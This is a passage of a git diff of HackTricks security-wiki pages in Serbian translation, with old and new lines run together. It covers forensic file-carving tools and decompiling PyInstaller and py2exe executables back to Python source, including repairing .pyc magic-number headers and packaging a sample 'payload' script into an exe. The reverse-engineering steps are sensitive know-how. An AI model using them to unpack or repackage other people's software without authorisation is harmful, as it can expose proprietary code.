Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Alatke za izdvajanje i obnavljanje podataka # File/Data Carving & Recovery Tools
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodičnu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
**Try Hard Security Group** **Try Hard Security Group**
@ -22,17 +23,17 @@ Drugi načini podrške HackTricks-u:
*** ***
## Alatke za izdvajanje i obnavljanje ## Carving & Recovery tools
Više alatki na [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) Više alata na [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
### Autopsy ### Autopsy
Najčešće korišćeni alat u forenzici za izdvajanje fajlova iz slika je [**Autopsy**](https://www.autopsy.com/download/). Preuzmite ga, instalirajte ga i pustite da obradi fajl kako bi pronašao "skrivene" fajlove. Imajte na umu da je Autopsy napravljen da podržava disk slike i druge vrste slika, ali ne i obične fajlove. Najčešći alat korišćen u forenzici za ekstrakciju fajlova iz slika je [**Autopsy**](https://www.autopsy.com/download/). Preuzmite ga, instalirajte i omogućite mu da učita fajl kako bi pronašao "sakrivene" fajlove. Imajte na umu da je Autopsy napravljen da podržava disk slike i druge vrste slika, ali ne i obične fajlove.
### Binwalk <a href="#binwalk" id="binwalk"></a> ### Binwalk <a href="#binwalk" id="binwalk"></a>
**Binwalk** je alat za analizu binarnih fajlova radi pronalaženja ugrađenog sadržaja. Može se instalirati putem `apt` i njegov izvorni kod se nalazi na [GitHub-u](https://github.com/ReFirmLabs/binwalk). **Binwalk** je alat za analizu binarnih fajlova kako bi se pronašao ugrađeni sadržaj. Može se instalirati putem `apt`, a njegov izvor je na [GitHub](https://github.com/ReFirmLabs/binwalk).
**Korisne komande**: **Korisne komande**:
```bash ```bash
@ -43,32 +44,34 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
``` ```
### Foremost ### Foremost
Još jedan čest alat za pronalaženje skrivenih datoteka je **foremost**. Konfiguracionu datoteku za foremost možete pronaći u `/etc/foremost.conf`. Ako želite da pretražujete samo određene datoteke, uklonite komentare ispred njih. Ako ne uklonite komentare, foremost će pretraživati prema svojim podrazumevano konfigurisanim tipovima datoteka. Još jedan uobičajen alat za pronalaženje skrivenih fajlova je **foremost**. Konfiguracioni fajl foremost-a možete pronaći u `/etc/foremost.conf`. Ako želite da pretražujete samo neke specifične fajlove, otkomentarišite ih. Ako ne otkomentarišete ništa, foremost će pretraživati svoje podrazumevane konfiguracione tipove fajlova.
```bash ```bash
sudo apt-get install foremost sudo apt-get install foremost
foremost -v -i file.img -o output foremost -v -i file.img -o output
#Discovered files will appear inside the folder "output" #Discovered files will appear inside the folder "output"
``` ```
### **Skalpel** ### **Scalpel**
**Skalpel** je još jedan alat koji se može koristiti za pronalaženje i izdvajanje **datoteka ugrađenih u datoteku**. U ovom slučaju, moraćete da uklonite komentare iz konfiguracione datoteke (_/etc/scalpel/scalpel.conf_) za vrste datoteka koje želite da izdvojite. **Scalpel** je još jedan alat koji se može koristiti za pronalaženje i ekstrakciju **datoteka ugrađenih u datoteku**. U ovom slučaju, potrebno je da odkomentarišete tipove datoteka iz konfiguracione datoteke (_/etc/scalpel/scalpel.conf_) koje želite da ekstraktujete.
```bash ```bash
sudo apt-get install scalpel sudo apt-get install scalpel
scalpel file.img -o output scalpel file.img -o output
``` ```
### Bulk Extractor ### Bulk Extractor
Ovaj alat dolazi unutar kali distribucije, ali ga možete pronaći ovde: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor) Ovaj alat dolazi unutar kali, ali ga možete pronaći ovde: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
Ovaj alat može skenirati sliku i **izdvojiti pcaps** unutar nje, **informacije o mreži (URL-ovi, domeni, IP adrese, MAC adrese, mejlovi)** i više **datoteka**. Samo treba da uradite: Ovaj alat može skenirati sliku i **izvući pcaps** unutar nje, **mrežne informacije (URL-ovi, domeni, IP-ovi, MAC-ovi, e-mailovi)** i još **datoteka**. Samo treba da uradite:
``` ```
bulk_extractor memory.img -o out_folder bulk_extractor memory.img -o out_folder
``` ```
Navigate through **sve informacije** koje je alat prikupio (lozinke?), **analizirajte** **pakete** (pročitajte [**analizu Pcaps**](../pcap-inspection/)), pretražujte **čudne domene** (domene povezane sa **malverom** ili **nepostojećim**).
### PhotoRec ### PhotoRec
Možete ga pronaći na [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download) Možete ga pronaći na [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download)
Dolazi sa GUI i CLI verzijama. Možete odabrati **tipove datoteka** koje želite da PhotoRec pretražuje. Dolazi sa GUI i CLI verzijama. Možete odabrati **tipove fajlova** koje želite da PhotoRec pretražuje.
![](<../../../.gitbook/assets/image (524).png>) ![](<../../../.gitbook/assets/image (524).png>)
@ -76,31 +79,31 @@ Dolazi sa GUI i CLI verzijama. Možete odabrati **tipove datoteka** koje želite
Proverite [kod](https://code.google.com/archive/p/binvis/) i [web stranicu alata](https://binvis.io/#/). Proverite [kod](https://code.google.com/archive/p/binvis/) i [web stranicu alata](https://binvis.io/#/).
#### Funkcije BinVis #### Karakteristike BinVis
* Vizuelni i aktivni **pregled strukture** * Vizuelni i aktivni **pregled strukture**
* Više grafikona za različite fokusne tačke * Više grafova za različite tačke fokusa
* Fokusiranje na delove uzorka * Fokusiranje na delove uzorka
* **Videti niske i resurse**, u PE ili ELF izvršnim datotekama npr. * **Videti stringove i resurse**, u PE ili ELF izvršnim fajlovima npr.
* Dobijanje **obrazaca** za kriptoanalizu datoteka * Dobijanje **šablona** za kriptoanalizu na fajlovima
* **Otkrivanje** algoritama pakovanja ili enkodiranja * **Uočavanje** pakera ili enkoder algoritama
* **Identifikacija** steganografije po obrascima * **Identifikacija** steganografije po šablonima
* **Vizuelno** binarno diferenciranje * **Vizuelno** binarno poređenje
BinVis je odlično **polazište za upoznavanje sa nepoznatim ciljem** u scenariju crne kutije. BinVis je odlična **polazna tačka za upoznavanje sa nepoznatim ciljem** u scenariju crne kutije.
## Specifični alati za izvlačenje podataka ## Specifični alati za vađenje podataka
### FindAES ### FindAES
Pretražuje AES ključeve tražeći njihove rasporede ključeva. Može pronaći 128, 192 i 256 bitne ključeve, poput onih koje koriste TrueCrypt i BitLocker. Pretražuje AES ključeve tražeći njihove rasporede ključeva. Sposoban je da pronađe 128, 192 i 256 bitne ključeve, kao što su oni koje koriste TrueCrypt i BitLocker.
Preuzmite [ovde](https://sourceforge.net/projects/findaes/). Preuzmite [ovde](https://sourceforge.net/projects/findaes/).
## Komplementarni alati ## Dodatni alati
Možete koristiti [**viu** ](https://github.com/atanunq/viu) da vidite slike iz terminala.\ Možete koristiti [**viu**](https://github.com/atanunq/viu) da vidite slike iz terminala.\
Možete koristiti linux alat komandne linije **pdftotext** da transformišete pdf u tekst i pročitate ga. Možete koristiti linux komandnu liniju alat **pdftotext** da transformišete pdf u tekst i pročitate ga.
**Try Hard Security Group** **Try Hard Security Group**
@ -108,16 +111,17 @@ Možete koristiti linux alat komandne linije **pdftotext** da transformišete pd
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od početka do naprednog nivoa sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA ČLANSTVO**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,26 +1,27 @@
# Dekompilacija kompajliranih Python binarnih fajlova (exe, elf) - Dobijanje iz .pyc # Decompile compiled python binaries (exe, elf) - Retreive from .pyc
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJEM**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**Savet za bug bounty**: **registrujte se** za **Intigriti**, premium **platformu za bug bounty kreiranu od hakera, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite da zarađujete nagrade do **$100,000**! **Bug bounty tip**: **prijavite se** za **Intigriti**, premium **bug bounty platformu koju su kreirali hakeri, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite da zarađujete nagrade do **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
## Od Kompajliranog Binarnog Fajla do .pyc ## From Compiled Binary to .pyc
Iz **ELF** kompajliranog binarnog fajla možete **dobiti .pyc** sa: Iz **ELF** kompajliranog binarnog fajla možete **dobiti .pyc** sa:
```bash ```bash
@ -41,38 +42,38 @@ pyi-archive_viewer <binary>
? X binary_name ? X binary_name
to filename? /tmp/binary.pyc to filename? /tmp/binary.pyc
``` ```
U **python exe binarnom** fajlu možete **dobiti .pyc** pokretanjem: U **python exe binarnom** kompajliranom možete **dobiti .pyc** pokretanjem:
```bash ```bash
python pyinstxtractor.py executable.exe python pyinstxtractor.py executable.exe
``` ```
## Od .pyc do python koda ## From .pyc to python code
Za **.pyc** podatke ("kompajlirani" python) trebalo bi da počnete sa pokušajem **izvlačenja** **originalnog** **python** **koda**: Za **.pyc** podatke ("kompilirani" python) trebali biste početi pokušavati da **izvučete** **originalni** **python** **kod**:
```bash ```bash
uncompyle6 binary.pyc > decompiled.py uncompyle6 binary.pyc > decompiled.py
``` ```
**Proverite** da li binarni fajl ima **ekstenziju** "**.pyc**" (ako nema, **uncompyle6** neće raditi) **Budite sigurni** da binarni fajl ima **ekstenziju** "**.pyc**" (ako ne, uncompyle6 neće raditi)
Prilikom izvršavanja **uncompyle6** mogu se pojaviti **sljedeće greške**: Tokom izvršavanja **uncompyle6** mogli biste naići na **sledeće greške**:
### Greška: Nepoznat broj magičnog broja 227 ### Greška: Nepoznat magični broj 227
```bash ```bash
/kali/.local/bin/uncompyle6 /tmp/binary.pyc /kali/.local/bin/uncompyle6 /tmp/binary.pyc
Unknown magic number 227 in /tmp/binary.pyc Unknown magic number 227 in /tmp/binary.pyc
``` ```
Da biste to popravili, trebate **dodati tačan magični broj** na početak generisanog fajla. Da biste to popravili, potrebno je da **dodate ispravan magični broj** na početku generisanog fajla.
**Magični brojevi variraju sa verzijom Python-a**, da biste dobili magični broj za **Python 3.8** trebaće vam da **otvorite Python 3.8** terminal i izvršite: **Magični brojevi se razlikuju u zavisnosti od verzije pythona**, da biste dobili magični broj za **python 3.8**, potrebno je da **otvorite python 3.8** terminal i izvršite:
``` ```
>> import imp >> import imp
>> imp.get_magic().hex() >> imp.get_magic().hex()
'550d0d0a' '550d0d0a'
``` ```
**Magični broj** u ovom slučaju za python3.8 je **`0x550d0d0a`**, zatim, da biste ispravili ovu grešku, moraćete **dodati** na **početak** **.pyc datoteke** sledeće bajtove: `0x0d550a0d000000000000000000000000` **Magični broj** u ovom slučaju za python3.8 je **`0x550d0d0a`**, zatim, da biste ispravili ovu grešku, moraćete da **dodate** na **početak** **.pyc datoteke** sledeće bajtove: `0x0d550a0d000000000000000000000000`
**Kada** ste to **dodali**, greška bi trebalo da bude ispravljena. **Jednom** kada ste **dodali** taj magični zaglavlje, **greška bi trebala biti ispravljena.**
Ovako će izgledati ispravno dodat **.pyc python3.8 magični zaglavlje**: Ovako će izgledati ispravno dodato **.pyc python3.8 magično zaglavlje**:
```bash ```bash
hexdump 'binary.pyc' | head hexdump 'binary.pyc' | head
0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000 0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000
@ -80,21 +81,21 @@ hexdump 'binary.pyc' | head
0000020 0700 0000 4000 0000 7300 0132 0000 0064 0000020 0700 0000 4000 0000 7300 0132 0000 0064
0000030 0164 006c 005a 0064 0164 016c 015a 0064 0000030 0164 006c 005a 0064 0164 016c 015a 0064
``` ```
### Greška: Dekompilacija generičkih grešaka ### Greška: Decompiling generic errors
**Druge greške** poput: `class 'AssertionError'>; co_code should be one of the types (<class 'str'>, <class 'bytes'>, <class 'list'>, <class 'tuple'>); is type <class 'NoneType'>` mogu se pojaviti. **Druge greške** kao što su: `class 'AssertionError'>; co_code should be one of the types (<class 'str'>, <class 'bytes'>, <class 'list'>, <class 'tuple'>); is type <class 'NoneType'>` mogu se pojaviti.
Ovo verovatno znači da **nisu pravilno dodati** magični brojevi ili da niste **koristili** **ispravan magični broj**, pa se uverite da koristite ispravan (ili pokušajte sa novim). To verovatno znači da **niste ispravno dodali** magični broj ili da niste **koristili** **ispravan magični broj**, pa se **pobrinite da koristite ispravan** (ili pokušajte novi).
Proverite dokumentaciju prethodne greške. Proverite dokumentaciju o prethodnim greškama.
## Automatski alat ## Automatski alat
Alat [**python-exe-unpacker**](https://github.com/countercept/python-exe-unpacker) služi kao kombinacija nekoliko alata dostupnih zajednici, dizajniranih da pomognu istraživačima u raspakivanju i dekompilaciji izvršnih datoteka napisanih u Pythonu, posebno onih kreiranih sa py2exe i pyinstaller. Uključuje YARA pravila za identifikaciju da li je izvršna datoteka zasnovana na Pythonu i potvrđuje alat za kreiranje. [**python-exe-unpacker alat**](https://github.com/countercept/python-exe-unpacker) služi kao kombinacija nekoliko alata dostupnih u zajednici, dizajniranih da pomognu istraživačima u raspakivanju i decompiling-u izvršnih datoteka napisanih u Python-u, posebno onih kreiranih sa py2exe i pyinstaller. Uključuje YARA pravila za identifikaciju da li je izvršna datoteka zasnovana na Python-u i potvrđuje alat za kreiranje.
### ImportError: Naziv datoteke: 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' ne postoji ### ImportError: Ime datoteke: 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' ne postoji
Čest problem koji se javlja uključuje nepotpunu Python bajt kod datoteku koja proizlazi iz **procesa raspakivanja sa unpy2exe ili pyinstxtractor**, što onda **nije prepoznato od strane uncompyle6 zbog nedostajućeg broja verzije Python bajt koda**. Da biste rešili ovo, dodata je opcija prepend, koja dodaje neophodan broj verzije Python bajt koda, olakšavajući proces dekompilacije. Uobičajen problem koji se javlja uključuje nepotpunu Python bytecode datoteku koja je rezultat **procesa raspakivanja sa unpy2exe ili pyinstxtractor**, koja zatim **ne može biti prepoznata od strane uncompyle6 zbog nedostatka verzionog broja Python bytecode-a**. Da bi se to rešilo, dodata je opcija za preklapanje, koja dodaje neophodni verzioni broj Python bytecode-a, olakšavajući proces decompiling-a.
Primer problema: Primer problema:
```python ```python
@ -114,9 +115,9 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive
# Successfully decompiled file # Successfully decompiled file
[+] Successfully decompiled. [+] Successfully decompiled.
``` ```
## Analiza python asemblažnog koda ## Analyzing python assembly
Ako niste uspeli da izvučete "originalni" Python kod prateći prethodne korake, možete pokušati da **izvučete** asemblažni kod (ali **nije vrlo opisan**, pa pokušajte ponovo da izvučete **originalni kod**). Na [ovom linku](https://bits.theorem.co/protecting-a-python-codebase/) pronašao sam veoma jednostavan kod za **raspakivanje** _.pyc_ binarnog fajla (srećno sa razumevanjem toka koda). Ako je _.pyc_ fajl iz Python 2, koristite Python 2: Ako niste mogli da izvučete "originalni" python kod prateći prethodne korake, možete pokušati da **izvučete** **assembler** (ali **nije baš opisno**, pa **pokušajte** ponovo da izvučete **originalni** kod). U [ovde](https://bits.theorem.co/protecting-a-python-codebase/) sam pronašao vrlo jednostavan kod za **disassembling** _.pyc_ binarnog fajla (srećno sa razumevanjem toka koda). Ako je _.pyc_ iz python2, koristite python2:
```bash ```bash
>>> import dis >>> import dis
>>> import marshal >>> import marshal
@ -159,15 +160,15 @@ True
14 LOAD_CONST 0 (None) 14 LOAD_CONST 0 (None)
17 RETURN_VALUE 17 RETURN_VALUE
``` ```
## Python u izvršni fajl ## Python to Executable
Da bismo počeli, pokazaćemo vam kako se payloadi mogu kompajlovati u py2exe i PyInstaller-u. Da počnemo, pokažaćemo vam kako se payloadi mogu kompajlirati u py2exe i PyInstaller.
### Za kreiranje payloada korišćenjem py2exe: ### Da kreirate payload koristeći py2exe:
1. Instalirajte paket py2exe sa [http://www.py2exe.org/](http://www.py2exe.org) 1. Instalirajte py2exe paket sa [http://www.py2exe.org/](http://www.py2exe.org)
2. Za payload (u ovom slučaju, nazvaćemo ga hello.py), koristite skriptu poput one u Figuri 1. Opcija "bundle\_files" sa vrednošću 1 će uključiti sve, uključujući i Python interpretera, u jedan exe fajl. 2. Za payload (u ovom slučaju, nazvaćemo ga hello.py), koristite skriptu kao što je prikazano na Slici 1. Opcija “bundle\_files” sa vrednošću 1 će sve spojiti, uključujući Python interpreter, u jedan exe.
3. Kada je skripta spremna, izdaćemo komandu "python setup.py py2exe". Ovo će kreirati izvršni fajl, baš kao na slici 2. 3. Kada je skripta spremna, izdaćemo komandu “python setup.py py2exe”. Ovo će kreirati izvršni fajl, baš kao na Slici 2.
```python ```python
from distutils.core import setup from distutils.core import setup
import py2exe, sys, os import py2exe, sys, os
@ -195,10 +196,10 @@ running py2exe
copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe
Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe
``` ```
### Kako napraviti payload koristeći PyInstaller: ### Da kreirate payload koristeći PyInstaller:
1. Instalirajte PyInstaller pomoću pip-a (pip install pyinstaller). 1. Instalirajte PyInstaller koristeći pip (pip install pyinstaller).
2. Nakon toga, izdaćemo komandu "pyinstaller --onefile hello.py" (napomena da je 'hello.py' naš payload). Ovo će sve upakovati u jedan izvršni fajl. 2. Nakon toga, izdaćemo komandu “pyinstaller onefile hello.py” (podsećanje da je hello.py naš payload). Ovo će sve spojiti u jedan izvršni fajl.
``` ```
C:\Users\test\Desktop\test>pyinstaller --onefile hello.py C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
108 INFO: PyInstaller: 3.3.1 108 INFO: PyInstaller: 3.3.1
@ -211,26 +212,27 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe 5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe
6325 INFO: Building EXE from out00-EXE.toc completed successfully. 6325 INFO: Building EXE from out00-EXE.toc completed successfully.
``` ```
## Reference ## References
* [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/) * [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**Savet o nagradi za otkrivanje grešaka**: **Prijavite se** za **Intigriti**, premijum **platformu za otkrivanje grešaka kreiranu od strane hakera, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite da zarađujete nagrade do **$100,000**! **Bug bounty tip**: **prijavite se** za **Intigriti**, premium **bug bounty platformu koju su kreirali hakeri, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite da zarađujete nagrade do **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,78 +1,79 @@
# Browser Artifacts # Browser Artifacts
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
